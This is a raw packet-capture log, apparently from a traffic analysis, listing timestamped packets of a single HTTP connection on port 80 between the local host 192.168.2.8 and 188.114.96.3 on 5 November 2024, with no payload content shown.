Nov 5, 2024 12:43:37.102103949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102125883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102138042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102168083 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102173090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102185965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102190971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102237940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102300882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102335930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102371931 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102380991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102406025 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102415085 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102425098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102432013 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102433920 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102459908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102462053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102472067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102504015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102536917 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102543116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102566957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102591038 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102893114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102904081 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102915049 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102924109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102933884 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.102936029 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102948904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.102972031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103044987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103050947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103059053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103060007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103064060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103070021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103085041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103121042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103205919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103216887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103240013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103265047 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103380919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103394032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103413105 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103416920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103426933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103429079 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103439093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103446960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103449106 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103465080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103468895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103477001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103481054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103492975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103496075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103508949 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103508949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103518009 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103521109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103530884 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103533030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103544950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103548050 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103555918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103570938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103573084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103581905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103591919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103594065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103605986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103620052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103630066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103641033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103643894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103643894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103652000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103666067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103682041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103697062 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103769064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103777885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103786945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103804111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103804111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103815079 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103825092 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103827953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103848934 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103887081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103904009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103920937 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103930950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.103936911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103946924 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.103977919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104032993 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104043961 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104058027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104067087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104074001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104079962 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104093075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104099989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104111910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104135036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104335070 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104345083 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104356050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104367018 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104384899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104393005 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104520082 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104532957 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104542017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104557037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104559898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104568005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104572058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104574919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104577065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104578018 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104583025 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104593039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104593992 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104624987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104670048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104681015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104684114 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104690075 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104696035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104701042 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104707003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104712009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104717016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104783058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104789972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104801893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104820967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104827881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104832888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104842901 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104842901 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104850054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104861021 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104862928 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.104890108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.104923010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.105098009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105108023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105124950 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105137110 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105143070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.105148077 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105154037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.105160952 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105169058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.105180979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105191946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105201006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105206966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105207920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.105207920 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.105214119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.105236053 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.105252028 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.131870031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131886005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131901026 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131911039 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131922007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131936073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131947994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131957054 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.131983042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.132039070 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135096073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135130882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135142088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135183096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135221958 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135230064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135241985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135270119 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135689020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135699987 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135711908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135724068 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135735989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135757923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135812998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135855913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135883093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135894060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.135920048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.135996103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136006117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136025906 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136029959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136038065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136049032 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136049986 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136068106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136076927 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136087894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136096954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136115074 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136121988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136126995 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136137009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136146069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136169910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136189938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136316061 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136327982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136337996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136351109 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136351109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136375904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136394024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136395931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136411905 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136418104 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136421919 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136437893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136451006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136477947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136531115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136568069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136569977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136583090 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136595011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136605978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136610031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136610031 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136624098 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136641026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136661053 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136671066 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136681080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136696100 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136698008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.136720896 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.136743069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137106895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137119055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137150049 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137161016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137181044 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137192011 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137202024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137214899 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137231112 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137263060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137281895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137301922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137322903 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137340069 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137375116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137425900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137438059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137466908 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137490988 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137628078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137639999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137650967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137662888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.137665987 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137687922 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.137708902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.176384926 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.176399946 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.176419020 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.176428080 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.176479101 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.176522970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.181351900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.181389093 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.181399107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.181415081 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.181452036 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217022896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217037916 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217111111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217117071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217149019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217180967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217197895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217219114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217231035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217291117 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217303991 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217314005 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217336893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217360973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217545986 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217557907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217569113 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217577934 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217590094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217592955 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217600107 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217618942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217622042 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217629910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217639923 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217643023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217655897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217664957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217665911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217677116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217696905 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217730999 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217837095 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217849016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217859030 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217876911 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217899084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.217951059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217961073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217978001 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.217995882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218008995 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218116045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218127012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218136072 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218146086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218153954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218162060 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218164921 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218178034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218179941 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218189955 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:37.218199968 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218218088 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:37.218374014 CET	80	49711	188.114.96.3	192.168.2.8
